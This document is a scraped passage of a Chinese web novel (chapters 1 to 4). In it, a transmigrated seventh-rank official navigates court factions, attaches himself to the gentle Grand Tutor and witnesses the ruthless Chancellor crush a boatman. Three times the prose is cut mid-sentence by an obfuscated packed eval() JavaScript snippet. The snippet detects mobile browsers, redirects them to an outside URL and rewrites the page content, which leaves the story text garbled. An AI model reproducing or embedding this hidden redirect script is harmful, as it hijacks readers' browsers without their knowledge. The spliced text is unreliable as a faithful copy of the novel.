《全朝堂就我一个忠臣》 1. 第 1 章 京中近来发生了一件大事。 小皇帝以为先帝祷颂为由,将封地于左都的闵王迎入京中,可才过半日,也不知是哪个王八蛋,竟把人给砸了。 听闻,血糊了满脸,闵王翻了个白眼,人就倒了。 至今未醒。 闵王并非先王血脉,乃是先王堂弟,先王在时,两人并不亲近,如今幼帝即位,江北侯以幼帝太小,恐为奸臣裹挟为由,率大军入京。 朝中自不能任江北侯胡来,毕竟如今朝中无人不知,江北侯姜满在边境御敌之时,先帝心生猜忌,将其青梅强纳入宫,实为人质。 如今先帝已死,他的青梅也已香消玉殒,可他对皇室的怨恨还未消散,率江北大军直入京城。 嘴上说得好听,入京是护卫幼帝,可实则若没有朝堂上的几股势力,姜满早把小皇帝的人头给取了。 也正是有他率领的大军在,小皇帝每天都睡不好。 也不知是哪个大聪明给小皇帝出了个招,这江北侯有兵,可远在左都的闵王也有兵,又是皇室子弟,自可将其迎入京中,与姜满分庭抗礼。 贺兰舟:“……” 这不胡来吗? 贺兰舟只觉京中的这些人是生怕京城乱不起来,哪有把两路大军都引来的,如今黑压压的两方大军兵临城下,小皇帝就能睡好了? 但奇怪的,朝堂因这两方对峙于城外,竟真的保持了某种诡异的和平。 贺兰舟揣兜望天。 也就是书里才这么写,作者没文化,权谋写成小孩过家家。。。 没错,他穿书了。 一本大男主朝堂爽文。 只不过正文剧情里并未出现这段。 毕竟文章开篇,这位被迎入京的闵王就死了,而他——也在一开场,就被男主给刀了。 两人都是炮灰,没人会在意。 反正当初贺兰舟看文的时候,就冲着作者说男主一路爽一路飞升,全程没虐点看的。 甚至,开篇男主结束流亡,回京就宰了陷害他的七品小官时,他可是拍大腿叫好的,甚至还觉得这小官死得不够惨。 哪想到,现在他成了那个连名字都没出现过的七品小官。。。 此时此刻,他很同情与他同是炮灰的闵王殿下。 【叮~系统1238为您服务,请宿主打开后台签到答题,以增0.5天寿命哦~】 贺兰舟穿来这大召已半月,距离正文剧情展开还有两年,按照系统所言,他如果不想两年后男主一回来就被嘎,现在开始就得进行“洗白”。 他只有洗白白,寿命才会增加。 系统洗白保命计划有三:其一,签到答题,其二,感动其他大反派,其三——蹭蹭正直之臣。 贺兰舟看着系统面板上的签到界面,+15,哎,又是新的一周了。 签到完答题:「请释意:“孝子不谀其亲,忠臣不谄其君,臣子之盛也”」 贺兰舟面无表情答题,脑子里想的字句一点一点浮现在面板上,耳边响起同僚一声无奈的叹气:“哎,又吵起来了。” 如今这朝堂,每天都乱糟糟的,因为派系太多,就连小皇帝祭祖穿什么衣服,这些人都能吵一个早晨。 更何况现今闵王被砸,昏迷不醒,更是要吵得掀了房顶了。 “闵王殿下入京不过半日,江北侯就等不及了,到底是谁狼子野心?谁是朝中奸臣,只怕江北侯心中有数吧。” 闵王入京,是为了牵制姜满,如今人被砸了,倒真像姜满所为。 姜满的副将闻言,竖着眼睛,指着那文官道:“胡言乱语!我家侯爷是为了护卫陛下,闵王被陛下召入京中为先帝祷颂,侯爷焉能做那不臣之子,让先帝冥辰无人祷颂?” “正是!这般明目张胆的嫁祸,这位大人安的什么心?” 那文官一噎,又有人开始搅,站出来直指在朝中只手遮天的宰辅大人。 “当初闵王入京,宰辅大人可是极力不赞同的,如今闵王被人暗杀,焉知没有宰辅大人的手笔?” 宰辅沈问微微侧头,盯着那人看了两眼,黑黢黢的眼睛无波无澜,让人辨不出喜怒,那说话之人却舌尖干燥,登时闭了嘴。 如此一来,江北侯的人也有了话头,将话锋又转向沈问,而沈问的人为其马首是瞻,自然不甘下风,双方争执起来。 小皇帝今年十二,看着底下指着对方鼻子骂个不停的朝臣,屁股都坐不住了。 贺兰舟答完题,看着这几派又开始吵,吵得他头疼,偷偷朝小皇帝看一眼,见小皇帝正慌张地望向朝中最正直的臣子——太傅大人。 时人都说,太傅大人顾庭芳“天资岐更嶷,渊德雅而娴”,若无太傅大人,只怕奸臣满朝堂,幼帝亦早亡。 “诸位大人,可否听吾一言。”顾庭芳看出小皇帝的慌张,安抚地冲他点点头,转身面向朝臣。 众人静下来,这位太傅是先帝钦点的状元郎,亦是其在波谲云诡的局势中,一力辅佐幼帝登基,可他并不揽权、亦无朋党,是朝中最赤诚之人。 他一开口,无人不给这个面子。 顾庭芳:“闵王甫一入京,便出此事,显然是有人有意离间京城与左都。” 众人想起京城外的左都大军,面上冷凝,恰此时,顾庭芳又道:“如今此人又让尔等在朝堂上互相攀咬,实在狼子野心。” 他面容柔和,此时眼中却带了丝凌厉,想来是对此人深恶痛绝。 “吾以为,当务之急,是找出此人,给闵王和左都一个交代,诸位以为,是或不是?” 一众朝臣沉寂了会儿,纷纷应和,小皇帝见状,忙道:“太傅说得有理,既如此,此事交由顺天府、大理寺一同督办。” 说罢,幼帝再次望向太傅,以眼神询问:如此,可好? 太傅大人含笑颔首,幼帝微微松了口气。 皇帝发了话,一众朝臣自不再随意攀咬,顺天府尹与大理寺卿硬着头皮,接下此事。 人人都知,闵王被砸,定然牵扯朝中那几尊大佛,这事落在他们头上,想想都觉得难捱,日后只怕要惹一身骚。 两人如丧考妣,小皇帝乐呵呵,姜满与沈问,倒是依旧不动声色,未发一言。 只是二人审视的目光,偶尔落向顾庭芳,后者一派自若,是一副为皇帝、为朝堂作想的模样。 贺兰舟看向顾庭芳,满眼心心。 不愧是太傅大人,三言两语,就让这满朝文武闭嘴了。 耳根子总算清净了! 想当初,他刚一穿来,理顺系统的三个保命任务,直觉最简单的就是第三条。 朝中上下,无人不知,太傅大人最为心善,是朝中最忠心的臣子! 他又瞧了两眼以狠辣著称的宰辅,和那位如狼伺机而动的江北侯,心里止不住唏嘘。 还是太傅大人好,永远都如高山白雪,月下清风,那么雅致温和。 瞧瞧,人家不结党、不营私,才真是当之无愧的清流! 他正撇着嘴,冷不防的,顶头上司突然回头,二人目光交错,贺兰舟心里升起一股不好的预感。 果然,散朝之后,顶头上司找到他,在他耳边细声道:“榕檀啊,闵王殿下受伤,至今昏迷不醒,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340578|199307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 负责编纂史录,又乃我翰林一员,于情于理,当去王府探望一番。” 贺兰舟:“……” 贺兰舟搞不清,他一个七品小官,有什么必要去王府探望? 但顶头上司发了话,他一个芝麻绿豆大的小官,没有可以拒绝的理由,只能在心里盘算待会儿上街上买些什么东西,去探望还在昏迷的闵王。 最好是些鱼肉蛋,也不知道上头给报销不,报销的话,他得多买点,从中匀点给自己,也是能改善改善伙食了。 说起来,他已经一周没碰过荤腥了,提起这个,贺兰舟欲哭无泪。 原主深谙为官之道,为了能够入京平步青云,特特在京中最好的位置,花了大价钱置了一座宅子。 嗯,就在太傅家的后三条巷子。 是以,当他看清三条保命任务后,日日下朝贴着太傅走,毕竟他们二人的住处,就隔三条巷子,勉强也算顺路。 只不过,正因原主将多数钱财都摊在住处上,偌大的房子,连小厮都没钱雇,实在囊中羞涩。 如今这家中上上下下、里里外外,都得靠他一个人。 每日买菜做饭,烧水洗衣,打扫房屋。 还有这早朝,最是要命。 小皇帝每三天休一次朝,贺兰舟总怕自己记错日子,不仅要记日子,还要注意别起晚了,卯时上朝,不可迟到,没有闹钟,也没人叫他起床,睡都睡不好! 贺兰舟心里想哭。 “榕檀啊,你听到没有?”见贺兰舟沉默不语,顶头上司皱眉问了声。 贺兰舟忙回过神,点头应道:“掌院放心,今日我便去闵王殿下府邸探望一番。” 薛掌院听他应了,眉目舒展,捋着胡须刚要夸赞,贺兰舟就凑近他,挤眉弄眼,小声道:“只是掌院也知,我住处新迁,囊中实在羞于见人,这看望闵王殿下,总不能空手……” 薛掌院抽搐了两下嘴角,哼了声:“放心!不会让你给我翰林院丢人的!” 贺兰舟一笑:“多谢掌院。” 薛掌院翻了个白眼,甩袖而去,心中暗暗道:白瞎了副好皮囊,偏长了那许多心眼子。 贺兰舟揣手,望着上司的背影,嘴上讨巧:“掌院慢点儿,昂~” 薛掌院走得更快了。 贺兰舟才不白干,他一会儿就去院里拿银子,银子到了,他才去买鱼肉蛋去闵王府! 休想让他垫一分钱! 正美滋滋地想着,余光瞥见一片绯色衣角。 贺兰舟目光上移,那官服补子上绘仙鹤,再定睛瞧去,那人面如霜雪白,下颌微紧,眉目如远山墨画,纸笔难描。 正是顾庭芳。 贺兰舟眼睛亮晶晶,如同往常一样,自顾地凑上前,贴着顾庭芳走。 这几日,他日日如此、 好在诸人都知太傅温和随性,朝中无人与他红脸,贺兰舟以素来钦慕太傅为由,又借着家离得近,才与他日日相伴。 他弯着眼睛看顾庭芳,笑眯眯道:“听闻城西开了家甜水铺子,太傅大人可曾去过?” 不等顾庭芳开口,他又道:“听说那铺子的糖水格外甘甜,若太傅大人未曾去过,今日可有空一同前去?” 他想借机多蹭蹭顾庭芳,虽说并不知道这系统出来什么bug,贴着太傅一整日,也就能涨0.5天寿命,与他签到答题差不多。 但苍蝇腿再小,也是肉,像太傅这样漂亮又温柔的人,他多贴几次,也心里舒坦。 再说,这个任务多简单啊,他抖抖衣襟,自信满满。 那样的大好人,多被蹭几下怎么了?! 2. 第 2 章 早前听闻,眼前这位七品小官花了比大价钱,在京城最富庶的地段买了房子,与他的府上,仅相隔三条巷子。 可二人并不相熟,贺兰舟也从未借故与他攀谈,这些时日,此人却如同变了个人,日日借机同他一路回府。 顾庭芳听他说起甜水铺子,眉目微顿,旋即笑问:“贺兰大人喜甜?” 贺兰舟的确喜甜,只是听到顾庭芳对他的称呼,他微蹙了下眉。 哎,不知道该不该告诉太傅大人,他并不姓“贺兰”,可人家是一品大员,如此直白说出口,也不好吧…… 贺兰舟表情略有些纠结。 “贺兰大人,怎么了?” 贺兰舟回过神,忙道:“正是,舟甚是喜甜,不知太傅大人……” 不等他说完,有宦官至二人身后,扬声道:“太傅大人留步,陛下有请。” 顾庭芳侧身望了眼,回头对贺兰舟温声道:“倒是不巧,改日有空,定与贺兰大人一同品尝。” “哦,好好!” 贺兰舟无比欣赏顾庭芳,他长得如画中之人,又谦逊有礼,谁会不喜欢? 这气度,这风华…… 啧啧,贺兰舟望着他的背影,心中忍不住赞叹。 只是今日实在不能蹭着太傅大人了,连那0.5天的寿命都涨不了了! 贺兰舟倒也不急,毕竟除了蹭太傅大人,他还可以去做做反派臣子的思想工作,像原主的死党,那就是个不折不扣的小垃圾啊! 按照系统的规定,第二条任务,他需要把反派掰直了,要是其能成功走上正路,做一个忠心耿耿的臣子,他的寿命会增加很多。 反派感动一次,恢复一丢丢正念,他就会增加十天寿命,如果这人天天面对他,时时刻刻都在感动,贺兰舟不敢想,他会不会长命百岁! 当然,这个任务并不简单,像原主的死党,吃喝玩乐、贪污腐败,就没有他不干的,但面对他,这死党还像个人。 就是感动人家有些费力,贺兰舟亲手给他做顿饭,死党愣愣看他,只缓缓吐出一句:“我的乖乖,你这手可是要娇养的,这等活计,怎能由你来做,可心疼死我了!” 贺兰舟:“……” 系统半分反应都无,感动值是一分没有。。。 原主死党在朝中,只能算个小反派,就更别提宰辅沈问、江北侯姜满这样的大反派了! 为了日后能更好的感动大反派,如今他只能拿小反派练练手,目前他对感动死党,有了几分心得。 贺兰舟闷头想着待会儿的计划,速度很快地走到翰林院,从翰林院领了银钱出来,又赶紧去街上买鱼肉蛋。 还给自己多买了一份。 翰林院有钱,薛掌院人也还算大方,给了他十两银,毕竟闵王还昏迷,买人参,也暂时用不上。 且贺兰舟此次去,也是以个人名义去,总不好送太好的礼,他是编纂史录的编修,闵王被砸这样的大事,是要记载到实录中的。 但贺兰舟觉得,这就是一个借口。 说白了,如今朝堂派系错综复杂,闵王在这个时间段被砸,实在离奇,各方势力定然好奇。 没错,就连他的顶头上司也不是一心忠于小皇帝,只是不知他是何人派系,是宰辅沈问的,还是宦官那头的。 别说历代文官瞧不起宦官掌权,可现在,能给他们从指缝中流出些口粮金银,此朝的文官跑得屁颠屁颠的。 像薛掌院这样圆滑之人,指不定背后是什么人。 贺兰舟敛起神思,提了提手中的东西,向闵王府方向行去。 闵王本是外地藩王,这京中并没有他的府邸,但小皇帝为了制衡姜满,将人邀入京中,早早的就在玉带巷给他置了府邸。 朝中泛是有头有脸的大人物都住在这个巷子,甚是安静,且官员要早起上朝,这条巷子离皇宫最近,倒是不必着急。 说来,太傅大人与他们格外不同。 太傅人虽温和,却喜热闹街巷,城中最富庶的地段是东城,东城最贵的巷子是衣柳巷。 太傅住的那条巷子,与京都长街隔了一条,贺兰舟这些时日同他顺路,皆能见他下了早朝,去长街的一个馄饨摊吃一口。 有那么一两次,他十分不要脸,为了多蹭几下,舔着脸跟他一同落座。 那时,顾庭芳愣了一下,却到底请他吃了一碗馄饨。 想到那摊子上的馄饨,贺兰舟有些饿了,他舔舔嘴巴,加快了步子。 走了好长一段路,再拐一个路口,就是玉带巷了。 只是,贺兰舟也不知自己是什么运气,来探望闵王,竟然撞见砸闵王脑袋的人了! 只听那人大着舌头,对同路人道:“你以为闵王是怎么昏迷的?” 那人一身灰布衣裳,腰间系着个麻绳,裤腿挽起,看样子是个船夫,他揽着同路的瘦小男子,洋洋得意。 “那是老子我干的!” 瘦小男子只当他是玩笑话,眯缝着醉眼,摇摇头:“别胡说八道了,闵王是什么人?那可是皇亲国戚!”岂是他们这些老百姓能见到的? 见同伴并不相信,那船夫竖起眼睛,停住步子,将人一把推开。 “你不信?嗝!”那人打了个酒嗝,嘻嘻笑起来:“你当我是怎么动手的?自然是有上头人叫我做的。” 他用食指指指头顶,贺兰舟听到这里,不敢再听,影视剧的经验告诉他,听到秘密,并不是件好事。 他做鹌鹑状,快步往玉带巷走,只是好巧不巧,那人大嗓门喊着:“那可是当朝宰辅的人!” 贺兰舟:“……” 他脚下一跌,又慌忙直起身。 贺兰舟是真觉得剧情奇葩,沈问那么大的官,派人砸闵王,犯得着找这样一个蠢货? 而且这人怎么晃荡到这条巷子的?又为何非要大声嚷嚷,是生怕别人不知道何人是主使? 贺兰舟一脸无语。 那人同伴自然也如此作想,笑着拿手点他:“你啊!喝醉了!” “谁人不知宰辅大人心狠手辣,你这样胡言乱语,小心被他的人听到。”同伴左右看了眼,对他做了个抹脖的姿势,“小心你人头落地啊!” 那船夫哈哈大笑,又突的小声同他道:“你看,你也不信我,谁能信我?” 贺兰舟闻言,猛地了然,想来闵王被砸一事,十有八九有沈问的手笔了。 砸了闵王的汉子拉着同伴,开始说沈问的人先找到他,给他一笔钱,又说闵王入京后,安稳了半日,便出来在街上闲逛。 闵王路过酒楼,当时他人就在酒楼二楼,因下面有几个书生因一幅画叫卖价钱争执起来,街上乱起来,他趁乱砸了闵王一石头,场面大乱起来,他就跑了。 “闵王那些护卫,都跟纸老虎似的,半点屁用没有!”他扬着下巴,志得意满:“还不是连老子样儿都没见到!” 他那同伴听他说的有理有据,一时傻了眼,酒醒了大半,磕磕巴巴说:“不、不会真是你干的吧?” 贺兰舟“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340579|199307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啧”了声,这船夫所言,若细细推敲,闵王被砸,那是必然之事。 闵王府是小皇帝命人置办的,督建此事的,只怕是沈问一派,那府上的人员采买,必然也是他们安置的。 闵王只是先帝堂弟,二人关系一般,先帝在时,哪有他入京的份儿,如今入了京城,哪里都抓瞎,却又哪里都好奇。 这么一问,许是就有人说了,京城哪儿热闹,哪儿的酒好,而这船夫早早就在那儿候着,闵王入京的时候,也是张扬得很,老百姓可不少都见过他真颜。 因此,锁定这么一个人物,并不难。 而为了给这人制造时机,那两个书生恐怕也是刻意安排,而这船夫想来是个抛锚高手,不然也不会一击即中。 想通一切关窍,贺兰舟只觉,这闵王没被人失手砸死,也算是运气好了! 他是不想听到这等秘闻,但看这二人一时半会不会走,他此时出路口,只怕会撞上。 想了想,贺兰舟扭头、转身。 现下正是晌午时分,日头高悬于头顶,又是七月中,日光火辣辣的,贺兰舟鼻尖缀着细小晶莹的汗珠。 待转过身,他一整个人僵住,鼻尖上的汗珠也越来越密。 头顶被一片阴影笼住,眼前人身形高大,一身玄色衣袍,上戴金色发冠,面容偏白而至冷,嘴角微勾,眸色淡淡地看着他。 正是那船夫好死不死提到的幕后主使——宰辅沈问。 贺兰舟暗暗吞了口口水,笼袖作揖,“大、大人……” 还未把话说完整,沈问撇开目光,带着身后的诸护卫错身而去。 贺兰舟愣了瞬,这位大反派是、是没看见他? 当然不会! 贺兰舟才不蠢,沈问估计来了一段时间了,只是不知刚才藏在哪儿,但他一定早把那船夫所言,听了个完整。 贺兰舟琢磨着,沈问都没搭理他,那是放任他走了? 听到他的心声,掉线好久的系统上线:“难得遇到反派之一,宿主你不动手吗?” 动手?动什么手? 他是能干掉沈问,还是在这时候,舔着脸凑到人家跟前“甜蜜蜜”? 怎么看,沈问都不是太傅大人,他要是就这么凑过去,人家肯定嫌弃死他,只怕日后都没接近的机会。 所以,他道:“此事不急,我们谋定而后动。” 系统:“哦-_-||” 贺兰舟这么想着,抬头迈步,只是步子还没迈出半步,一个护卫横刀拦住,面容十分冷峻。 贺兰舟:! 他就知道,没那么简单! 贺兰舟抿了下唇,讨好地冲这护卫笑笑,随后探头朝路口看去。 那边沈问带着呼啦啦一群人走到街巷,听见响动,船夫与同伴回头一看,吓得魂都飞了。 当前那人面色发冷,气势凛然,身后跟着一众护卫,地位身份定然不凡! 他们、他们是惹了什么事? “孙大年?”一护卫侧步上前,将腰间长剑横在二人身前。 船夫本喝红了的脸,已然惨白,愣愣点头:“是、是,草民孙大年。” 护卫看了眼沈问,将身子让开,又有两个护卫上前,将二人押解在地。 “大、大人,敢问草民二人所犯何罪,为何……” 不等孙大年同伴说完,沈问的脚尖已踏上孙大年肩头。 云履翘头轻轻下压,那人冷下声音。 “听说,是本官指使你砸了闵王?” 3. 第 3 章 沈问是文官之首,只是他的长相并非那种典型的温润书生长相,而是面微白笑清浅,棱角却十分分明,倒有几分坚毅之感。 玄色衣袍被风吹起一角,孙大年已是被这风吹冷了,直打摆子:“大大大人,小人失言,小人失言。” 他还想扬手,自打嘴巴,但人被护卫扣住,动弹不得,眼睛发红,隐隐有了泪光。 “大人饶命,大人饶命啊,都是小人醉后胡言乱语、胡言乱语!” 孙大年同伴虽没见过沈问,但听到沈问的话,也明白过来眼前是何许人。 当即悔不当初,作甚要与那孙大年吃酒,怎么就遇上了这惹不起的“菩萨”! “大人饶命,饶命啊!” 二人一同开口,沈问懒懒掀开眼皮看二人一眼,浅浅笑了下,“怎么?本官是吃人的老虎?怎么怕成这样?” 二人又慌忙摇头,可下一瞬,孙大年的惨叫声传来,“啊啊————” 整个巷子的飞鸟都被惊起,贺兰舟望过去,竟是沈问脚下用力,一脚将人肩头踹骨折了。 贺兰舟:!!! 他此时已经觉得,是有人故意以沈问的名义指使孙大年,哪想到孙大年竟信以为真,嚷嚷出来,还好巧不巧地被沈问撞见。 沈问被人蹬鼻子上脸冤枉,怎能不气? 贺兰舟虚虚擦了擦额上的汗,真是老人说得对,大白天喝酒的,哪有正经人。 这孙大年岂止不正经,简直胆大包天! 可下一刻,就听沈问道:“是本官让你做的,可本官有没有叫人告诉你,把嘴巴封严了!” 贺兰舟:!!! 妈妈啊!我不想听。 他捂住耳朵,欲哭无泪。 “砸都砸了,人却没死,还有脸到处乱嚷?”沈问一脚将人踢开,孙大年身后护卫及时松手,孙大年倒地捂着肩膀惨叫不止。 “真是无用至极!” 沈问淡淡扫了眼二人,看出二人眼底的惧色,他摆摆手,护卫忙将两人拖走,二人愣是未发出一个闷哼。 贺兰舟:瞧瞧,这才是大反派的模样。 嚣张、太嚣张! 这样比起来,原主算计男主的那点事,算什么?! 就是阴沟里的小反派! 贺兰舟晃晃脑袋,回过神,一抬头就见沈问已至他身前,早听闻这位宰辅文武双全,今日一见,实在了得。 要不是他担心脖子上的那颗,他是真的想夸赞一番。 但此时,他全无心情。 他仰着头,睁着一双无辜的圆眼。 日头已渐渐有下落之势,日光斜斜倾泻,洒在沈问肩头。 沈问倒是和颜悦色,与对孙大年二人的态度截然不同。 他含笑睨着贺兰舟,贺兰舟却浑身一激灵。 那人问:“这位郎君看着很面善,可是朝中官员?” 此朝反派众多,这些反派虽然行为狠辣,但为官却是很有一套,如沈问,身居宰辅,但朝堂上六品以上的官员,他都能叫出名号。 还好,贺兰舟是七品。 正松口气,头顶那人问:“汝唤何名?” 一品大员如此发问,贺兰舟是不得不报出名字了,心里暗道今日倒霉。 他抬手作揖,很是拘谨回道:“下官翰林编修贺兰舟。” 想想,他又补了一句:“今日奉掌院之命,前去闵王府探望,路上遇两只野猫追逐,竟一时忘了时候。” 沈问这才敛了笑意,眸色深深地看着他。 半晌,沈问开口,拉了个长调:“哦——” “竟只是个七品小官啊。” “贺大人机敏聪慧、审时度势,只做一个七品小官,倒是可惜了。” 贺兰舟愣了下,隐隐觉得哪里不对劲,但沈问这语气,倒并不是阴阳怪气。 他抬头望了眼沈问,后者只是摇头笑笑,并未再开口说什么,就连刚刚孙大年所说之言,贺兰舟听到多少,沈问都没在意。 经此一遭,贺兰舟去闵王府都提不起劲,到了那儿,只是与管家简单攀谈了几句,将备好的礼物送去,就往家走。 闵王入京,最为信任的自然是他的副将,若是品级高的大臣前来,势必是他的副将相迎。 但贺兰舟这样的小官,来此一是打听一下闵王的情况,二是看看闵王府有没有那砸人的消息。 如今第二个已是知道,第一个,这管家许也是沈问命人安置的,闵王的情况,只怕不会好几分。 也不知道闵王到底犯了沈问什么忌讳,真是要把人给弄死,那左都在京城外的大军又如何是好? 贺兰舟摆摆脑袋,这些事,与他这样的小官没什么关系,他现下最重要的,是要想想如何接触那些反派,好做第二个任务。 本来,他今日还想着备好鱼肉蛋,邀他那反派死党前来,做做任务,哪成想今日遇上沈问,到底没了兴致。 也不知孙大年二人会如何,贺兰舟一路心事重重回了家,晚上连吃饭的力气都没,早早就睡了。 次日一大早,又要早起上朝。 因昨日晚间没吃东西,贺兰舟一早起来便饥肠辘辘,可他住的地方,到底不是玉带巷,离皇宫有段距离,是没时间自己做些吃食了。 他简单收拾了下,将衣冠拾掇整齐,便往皇宫的方向匆匆而去。 路上有家包子铺,怕待会儿上朝闹笑话,他买了两个包子。 路上急急地吃了,转过巷口时,遇见两个更夫。 那两个更夫见了面,相约去吃碗馄饨,其中一人说:“昨晚上河边死了人,给我吓的哟,当即报了官。” “可知是何人?” 那人摇摇头,“不过有个衙役似乎认得其中一人,听说是个会水的船夫,也不知怎么淹死了。” 另个更夫感慨:“哎,这淹死的,都是会水的。” 又问:“诶?听你此言,这死的不止一人?” “正是,死了两个呢!” 那更夫好奇:“那另一个呢?是什么人?” 报官的更夫摇摇头:“不知道啊,脸都泡肿了,若不是那船夫身形壮,打扮又没什么变化,那衙役才认得。” 这人又叹了一声,“这二人浑身酒气,想来是喝醉失足落水。” “啧,这酒啊,乃是催命的鬼!” “不说了不说了!去吃馄饨!” “……” 二人渐渐走远,贺兰舟嗓子眼里回荡着刚刚肉包子的味道,反复想着二人所说的话,险些要吐出来。 孙大年二人……就这么死了? 原本看小说的时候,他就知道沈问是个心狠手辣不择手段的人物,但自己身在局中,这令人头皮发麻的感受,却是更加强烈。 想到他也知晓了闵王被砸的幕后主使,又想到那二人的遭遇,贺兰舟脚下打了个趔趄,险些摔倒。 “贺兰大人?” 腕上一紧,掌心的温热透过衣裳传来,贺兰舟眼中还有未散的水光,抬头看向来人时,脸色发白,竟有种破碎之感。 顾庭芳愣了下,见他站稳,缓缓松开手,“贺兰大人,这是怎么了?” 贺兰舟抿着唇,不知该如何作答。 看他手里捏着剩下的半个包子,顾庭芳温雅一笑,“可是这家包子不好吃?我知长街上有一家铺子做的包子极好,若贺兰大人不弃,我来请客可好?” 顾庭芳是堂堂太傅,贺兰舟只不过七品小官,说此一言,揶揄宽慰的成分居多。 贺兰舟心里感动,也似乎没那么怕了,面上又重新挂起笑脸,那双圆眼弯弯,显出几分可爱。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340580|199307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “太傅大人莫要取笑下官了,当日大人请下官吃了一大碗馄饨,今日也该换下官请客了。” 顾庭芳闻言,却讶异道:“咦?贺兰大人不是说要请我去城西的甜水铺子?” 贺兰舟愣怔怔地看着顾庭芳,原来太傅大人真的放在心上了! 他抿抿唇,脸颊爬上一抹红,“嗯。” 顾庭芳:“既是如此,贺兰大人当请我吃上两次糖水才是。” 说罢,他见贺兰舟还在愣神,摇摇头,笑说:“贺兰大人,还不快随我来?” 他转身而去,向京都长街的方向而行,贺兰舟望着他的背影,一时晃神。 太傅其人实在雅致,绯色的官服穿得那样凛然,身形如山间之青松、如霜雪附着的梅花。 贺兰舟曾偷偷比过他们的个子,太傅大人比他高半个头,明明他也不一定要仰头才能看清太傅的脸,可他总觉得,太傅是那样高贵不可攀。 贺兰舟闷头跟在顾庭芳身后,看他轻车熟路地走到一家包子铺前,细心地让人包了四个包子,一人两个。 果然如太傅所说,这家包子味道极好,皮薄馅大,一咬就是满口的汁水,外面的面皮也是白白的,极为干净。 二人都不曾再开口说什么,就这样一路慢行。 贺兰舟这些时日习惯了贴着顾庭芳走,是以今日虽没特意想着做任务,却也自然地与顾庭芳的衣袖相贴。 衣裳间的摩擦,让顾庭芳侧过眼眸,见贺兰舟不知在想什么,低眉敛目,到底什么话都没说。 还空寂的长街上,两人的脚步声浅浅,间接夹杂着衣袂摩擦声,宽阔的路上,映着两人被拖长的身影。 直至宫门,沉寂许久的系统突然上线。 【叮~恭喜宿主,成功累计+0.5天寿命,目前生命值总额两年零14天。】 贺兰舟冷不丁听到生命值,微微偏头看了眼顾庭芳。 穿书前,他并没把书看完,只是记得,书到后面顾庭芳与男主的政见不和,虽不像沈问与男主那样你死我活,但顾庭芳在朝堂之上,也不好过。 有好几次,他都险些被害,最后他停留的页面,是顾庭芳正要被投诚于男主的小官暗害,不知他有没有事。 太傅大人清白雅正,一身风骨,万万不可落得那样的下场! 贺兰舟捏了捏拳头。 见贺兰舟没什么喜色,系统后知后觉地安慰起贺兰舟:“宿主,孙大年二人之死,你不要想太多,毕竟正文剧情还未开始,你不会死。” 不等贺兰舟应话,系统又道:“要死,也是死在男主手上。” 贺兰舟:“……” 时辰一到,宫门开启,顾庭芳乃当朝一品,自是在官员前列,贺兰舟只能看见他的官帽,等他跟着人群进去,也只能站在最外面。 这苦日子,他是过得真心累。。。 许是生命没了威胁,昨日又睡得不踏实,今晨吃了太傅两个包子,困意竟渐渐上来。 他迷迷糊糊站着,眼睛想睁都睁不开。 迷蒙中,他似乎听到殿内又吵起来,过了好久,幼帝声音断断续续传来,“那就由翰林院XXX,既有修史之能,又OOOO,借调@#¥%&*” 恍惚间,贺兰舟彻底惊醒,不对! 他知道哪里不对了! 他穿来这些时日,就连原主死党都以为他姓“贺兰”,但沈问昨日却唤他“贺大人”。 沈问堂堂宰辅,就算再深谙为官之道,熟知官员姓名,可也断不会对他这样一个七品小官放在心上。 贺兰舟猛地抬头,恐怕沈问早就知道他是谁! 昨日孙大年出现在那条路,恐怕也是早在其算计之中,甚至昨日就算他不去玉带巷,他一定会撞见此事。 但沈问……他为何要这么做? 4. 第 4 章 今日早朝都是些杂事,唯有一件事还挺重要的。 顺天府尹说,顺天府缺一个推官,还有先帝冥辰要备好先帝伟业实录,需此人来归档先帝在位时的案件,并且将其归纳誊抄。 顺天府尹说完,不等小皇帝发话,当朝宰辅便道:“此等事也拿来让陛下心烦,翰林院那么多人,借一个不就好了?” 顺天府尹连连称是,小皇帝瞧了眼沈问,也没说什么,点点头准了。 “那就由翰林院借出一人,既有修史之能,又为人审察入微,借调顺天府。” 小皇帝一锤定音,顺天府尹很是欢喜,薛掌院也躬身领命,大殿内难得一片祥和。 站在殿外的贺兰舟无端地打了个哆嗦,想到昨日见沈问的一幕幕,心里升起一股不好的预感。 隔壁站着他的同僚,纳闷地侧头瞧他:“你怎么了?脸色这么难看?” 贺兰舟舔舔嘴唇,摇头回复:“无事。” 哪里是无事? 一下朝,他的顶头上司薛掌院就找来了,说到刚刚早朝之上,顺天府尹要借调一推官。 